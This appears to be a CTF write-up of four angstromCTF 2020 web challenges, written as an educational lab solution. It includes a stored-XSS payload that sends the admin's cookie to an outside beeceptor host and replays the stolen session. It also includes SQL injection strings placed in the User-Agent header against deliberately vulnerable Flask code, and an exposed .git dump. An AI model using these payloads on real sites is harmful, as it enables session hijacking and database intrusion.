---
# System prepended metadata

title: 'angstromCTF 2020 - [Web] Multiple Challs'
tags: [' angstromCTF', CTF]

---

---
title: angstromCTF 2020 - [Web] Multiple Challs
author: Maltemo
tags: CTF, angstromCTF
---
angstromCTF 2020 - [Web] Multiple Challs
===
Written by [Maltemo](https://twitter.com/Maltemo), member of team [SinHack](https://sinhack.blog/).

[TOC]

## The Magic Word (20pts)


### Description

Ask and you shall receive...that is as long as you use the magic word.

Author: aplet123


### Analysis

The website is a blank page with two words in the middle :

![](https://i.imgur.com/jHGDDhZ.png)

First things first, lets inspect the source code of the page.

A javascript code is left on the bottom of the page :

```javascript=
var msg = document.getElementById("magic");
setInterval(function() {
    if (magic.innerText == "please give flag") {
        fetch("/flag?msg=" + encodeURIComponent(msg.innerText))
            .then(res => res.text())
            .then(txt => magic.innerText = txt.split``.map(v => String.fromCharCode(v.charCodeAt(0) ^ 0xf)).join``);
    }
}, 1000);
```
This scripts checks every seconds (`setInterval`) if the tag with the ID `magic` has a text content matching `please give flag`.

:::info
:information_source:  As shown in the line 3, you can reference a tag in the dom directly by it's id. `magic` wasn't declared before, but it  accessed the tag with the id `magic`.
:::

If it's the case, it called the method fetch on the `/flag` end point with the message as a new parameter.

I was and still am too lazy to explain the last line, so let's change the text to check what it does :

![](https://i.imgur.com/zUJuiAV.png)

I replace the text by `please give flag`.

:::success
It replace this text by the flag, tadaaaa !
:::

### TL;DR

A javascript code in the page was giving back the flag if we changed a text in an HTML tag correctly.

### Flag 

The flag is __actf{1nsp3c7_3l3m3nt_is_y0ur_b3st_fri3nd}__

## Xmas Still Stands (50pts)

### Description

You remember when I said I dropped clam's tables? Well that was on Xmas day. And because I ruined his Xmas, he created the Anti Xmas Warriors to try to ruin everybody's Xmas. Despite his best efforts, Xmas Still Stands. But, he did manage to get a flag and put it on his site. Can you get it?

Author: aplet123

### Analysis

:::warning
Have you seen it yet ? I let you re-read the title of the challenge with attention :smiling_face_with_smiling_eyes_and_hand_covering_mouth: 
:::

You saw it right, the titles abreviation is __XSS__, also known as a web vulnerability called __Cross Site Scripting__.

![](https://i.imgur.com/IlDtIFA.png)

Another hint is hidden in the admin page of the website. Asking for cookie authentication means that we need to steal the administrator cookie.

The method of attack will be the same as the one in [this write-up](https://github.com/SinHackTeam/writeup/blob/master/GoogleCTF%202019%20-%20Quals/Beginner's%20Quest/GovernmentAgricultureNetwork-volken-writeup.pdf).

It's called stored xss.

The payload is :
```
<img src=x onerror='window.location="https://swagy.free.beeceptor.com?cookie="+document.cookie'/>
```

Beeceptor is a platform that helps developer to test api.

Here, we will use it in another way. By requesting the api and putting the cookie in the URL, we will be able to retreive the cookie from evey people loading the message.

After creating the message, we get the id of the message and report it to the admin.

He will check the messages and the xss will pop on his side.

After waiting a little, we get from our beeceptor interface this call : 
/?cookie=super_secret_admin_cookie=hello_yes_i_am_admin;%20admin_name=Jonah

:::success
We just stole the administrator :cookie: ! Yeaaah !
:::

The final step consists in inserting the cookie we just stole in our browser :
![](https://i.imgur.com/CfMFMLp.png)

name = super_secret_admin_cookie
value = hello_yes_i_am_admin; admin_name=Jonah

### TL;DR

This challenge consisted in a basic XSS stored stealing the cookie of an admin.

### Flag

The flag is __actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}__


## Git Good (70pts)

### Description

Did you know that angstrom has a git repo for all the challenges? I noticed that clam committed a very work in progress challenge so I thought it was worth sharing.

Author: aplet123

### Analysis

The title gives a good hint : the `.git` file of the project might have been left accessible to the users.

:::info
:information_source: _Little reminder :_ Git is a distributed version-control system for tracking changes in source code during software development. It is designed for coordinating work among programmers, but it can be used to track changes in any set of files.
[Official documentation link]()
:::

A good tool to extract the complete .git directory : GitDumper from the [GitTools repository](https://github.com/internetwache/GitTools).


With this simple command, I get to extract the .git file from the remote webiste :
```bash
./GitTools/Dumper/gitdumper.sh https://gitgood.2020.chall.actf.co/.git/
```

After moving the .git file in a new empty directory (to avoid destruction of over files in the same directory), we can check all missing source files :
```bash=
git status
Sur la branche master
Modifications qui ne seront pas validées :
  (utilisez "git add/rm <fichier>..." pour mettre à jour ce qui sera validé)
  (utilisez "git checkout -- <fichier>..." pour annuler les modifications dans la copie de travail)

	supprimé :        index.html
	supprimé :        index.js
	supprimé :        package-lock.json
	supprimé :        package.json
	supprimé :        thisistheflag.txt

aucune modification n'a été ajoutée à la validation (utilisez "git add" ou "git commit -a")
```

In order to restore those file, we can ask to get back to the initial state of the repository and then check the content of `thisistheflag.txt` :
```bash=
git reset --hard
cat thisistheflag.txt
There used to be a flag here...
```

This message is giving us a __GIGANTIC__ hint.
If the flag was in this file, then we have to verify the previous commits made on this project :
```bash=
git log
commit e975d678f209da09fff763cd297a6ed8dd77bb35 (HEAD -> master)
Author: aplet123 <noneof@your.business>
Date:   Sat Mar 7 16:27:44 2020 +0000

    Initial commit

commit 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5
Author: aplet123 <noneof@your.business>
Date:   Sat Mar 7 16:27:24 2020 +0000

    haha I lied this is the actual initial commit
```

According to the git log, we are currently on the `e975d678f209da09fff763cd297a6ed8dd77bb35` commit.

Lets go back in time to get the file in its initial state with the commit hash `6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5`.

![](https://media.giphy.com/media/7TZvWKVkm0xXi/giphy.gif)

```bash=
git checkout 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5

cat thisistheflag.txt
actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}
```

Challenge solved !

### TL;DR

The challenge consisted in the extraction of a .git file and checking out on a previous commit to get the flag.

### Flag

The flag is __actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}__.

## Secret Agents (110pts)

### Description

Can you enter the secret agent portal? I've heard someone has a flag :eyes:

Our insider leaked the source, but was "terminated" shortly thereafter...

Author: JoshDaBosh

### File 

app.py

```python=
from flask import Flask, render_template, request
#from flask_limiter import Limiter
#from flask_limiter.util import get_remote_address

from .secret import host, user, passwd, dbname

import mysql.connector


dbconfig = {
	"host":host,
	"user":user,
	"passwd":passwd,
	"database":dbname
}

app = Flask(__name__)
"""
limiter = Limiter(
	app,
	key_func=get_remote_address,
	default_limits=["1 per second"],
)"""


#@limiter.exempt
@app.route("/")
def index():
	return render_template("index.html")


@app.route("/login")
def login():
	u = request.headers.get("User-Agent")

	conn = mysql.connector.connect(
					**dbconfig
					)

	cursor = conn.cursor()

	#cursor.execute("SET GLOBAL connect_timeout=1")
	#cursor.execute("SET GLOVAL wait_timeout=1")	
	#cursor.execute("SET GLOBAL interactive_timeout=1")

	for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
		if r.with_rows:
			res = r.fetchall()
			break

	cursor.close()
	conn.close()

	

	if len(res) == 0:
		return render_template("login.html", msg="stop! you're not allowed in here >:)")

	if len(res) > 1:
		return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)")


	return render_template("login.html", msg="Welcome, %s"%(res[0][0]))

if __name__ == '__main__':
	app.run('0.0.0.0')

```

### Analysis

After quickly reading the code, we can see that the login is using the `User-Agent` header from the HTTP requests :
```python=
@app.route("/login")
def login():
	u = request.headers.get("User-Agent")
```

Then, we can see that a SQL request is made from this value, without any sanitization :
```python=
	for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
		if r.with_rows:
			res = r.fetchall()
			break
```

Finaly, the login is blocked if the result of the query has no results or more than 1 result.
```python=
	if len(res) == 0:
		return render_template("login.html", msg="stop! you're not allowed in here >:)")

	if len(res) > 1:
		return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)")


	return render_template("login.html", msg="Welcome, %s"%(res[0][0]))
```

Let's make a simple SQL injection within the `User-Agent` header. 

* `' OR 1=1;--`
    * This payload is a simple but it won't work because it will return all the `Agents` from the table.
* `' OR 1=1 LIMIT 1;--`
    * Works but doesn't return the flag. We now need to get the next result
* `' OR 1=1 LIMIT 1,1;--`
    * Still not the flag
* `' OR 1=1 LIMIT 2,1;--`
    * This time, we get back the flag !

![](https://i.imgur.com/IpLpDWa.png)

:::success
And here we get the flag :

![](https://i.imgur.com/AMVL8ra.png)
:::

### TL;DR

The challenge consisted in a sql injection through the UserAgent header of the HTTP request.

### Flag

The flag is __actf{nyoom_1_4m_sp33d}__.

___
<a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-nd/4.0/88x31.png" /></a><br />This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/4.0/">Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License</a>.